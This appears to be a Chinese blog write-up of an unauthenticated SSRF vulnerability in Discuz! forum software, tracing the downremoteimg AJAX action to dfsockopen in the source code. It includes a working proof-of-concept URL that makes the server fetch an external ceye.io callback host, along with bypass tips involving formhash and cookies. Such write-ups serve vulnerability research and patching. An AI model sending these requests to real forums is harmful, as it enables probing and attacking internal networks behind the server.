• Discuz!另一处SSRF无须登陆无须条件


     漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html

    看看poc:http://phpstudy.com/Discuz_X2/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://11aadds332.nrcuf9.ceye.io/1.jpg[/img]

    不登录也行,3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。,先注册个账号获取formhash,

    http://phpstudy.com/Discuz_X2/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://11aadds332.nrcuf9.ceye.io/1.jpg[/img]&formhash=33a734cf

    url解析的地址模块是ajax,文件是forum.php,根据这两篇解析discuz的mvc模式来看,可以确定出现漏洞的php文件/source/module/forum/forum_ajax.php

    文章地址:http://www.cnblogs.com/mjm212/p/6516038.html   http://www.cnblogs.com/wellsoho/p/3723028.html

    action的参数是downremoteimg。

    出现在这个if判断中,一般ssrf的话有这几个关键字:curl  , file_get_contents  ,fsockopen

    在文件中搜索关键字可以看到,存在dfsockopen()

    跟进dfsockopen()函数,位于/source/function/function_core.php

    function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
    	require_once libfile('function/filesock');
    	return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block);
    

      继续跟进_dfsockopen() 。

    对url重组,并且请求。

    让我们在回到最初的地方看看怎么处理输入的url。

    if(preg_match('/^(http://|.)/i', $imageurl)) {
    	$content = dfsockopen($imageurl);
    }

      要满足表达式才行,http://或. 开头

    $_G['gp_message'] = str_replace(array("
    ", "
    "), array($_G['gp_wysiwyg'] ? '<br />' : '', "\n"), $_G['gp_message']);
    preg_match_all("/[img]s*([^[<
    ]+?)s*[/img]|[img=d{1,4}[x|\,]d{1,4}]s*([^[<
    ]+?)s*[/img]/is", $_G['gp_message'], $image1, PREG_SET_ORDER);
    preg_match_all("/<img.+src=('|"|)?(.*)(\1)([s].*)?>/ismUe", $_G['gp_message'], $image2, PREG_SET_ORDER);

    获取image1匹配到的结果。

    					if(!$upload->is_image_ext($attach['ext'])) {
    						continue;
    					}
    

      判断url的后缀是否是图片格式。接着

     最终形成了ssrf,ssrf对大企业比较有用,对于孤立的企业,或者放在云端的业务来说,危害不是很大。具体看服务器能访问到内网的规模和危害。

    对于ssrf的利用,还有如下文章:

    http://4o4notfound.org/index.php/archives/33/

    https://blog.chaitin.cn/gopher-attack-surfaces/

    http://joychou.org/index.php/web/phpssrf.html

    http://bobao.360.cn/learning/detail/2889.html

  • 相关阅读:
    学会数据库读写分离、分表分库
    MySql数据主从同步配置
    数据库事务的四大特性以及事务的隔离级别
    tensor维度变换
    本地存储,序列化与反序列化
    连连看项目实战之四(异步加载进度条)
    连连看项目实战之二(礼盒动画)
    连连看项目实战之三(解析配置表)
    连连看项目实战之一(搭建场景)
    设计模式(C#)——12责任链模式
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6926450.html
Copyright © 2020-2023  润新知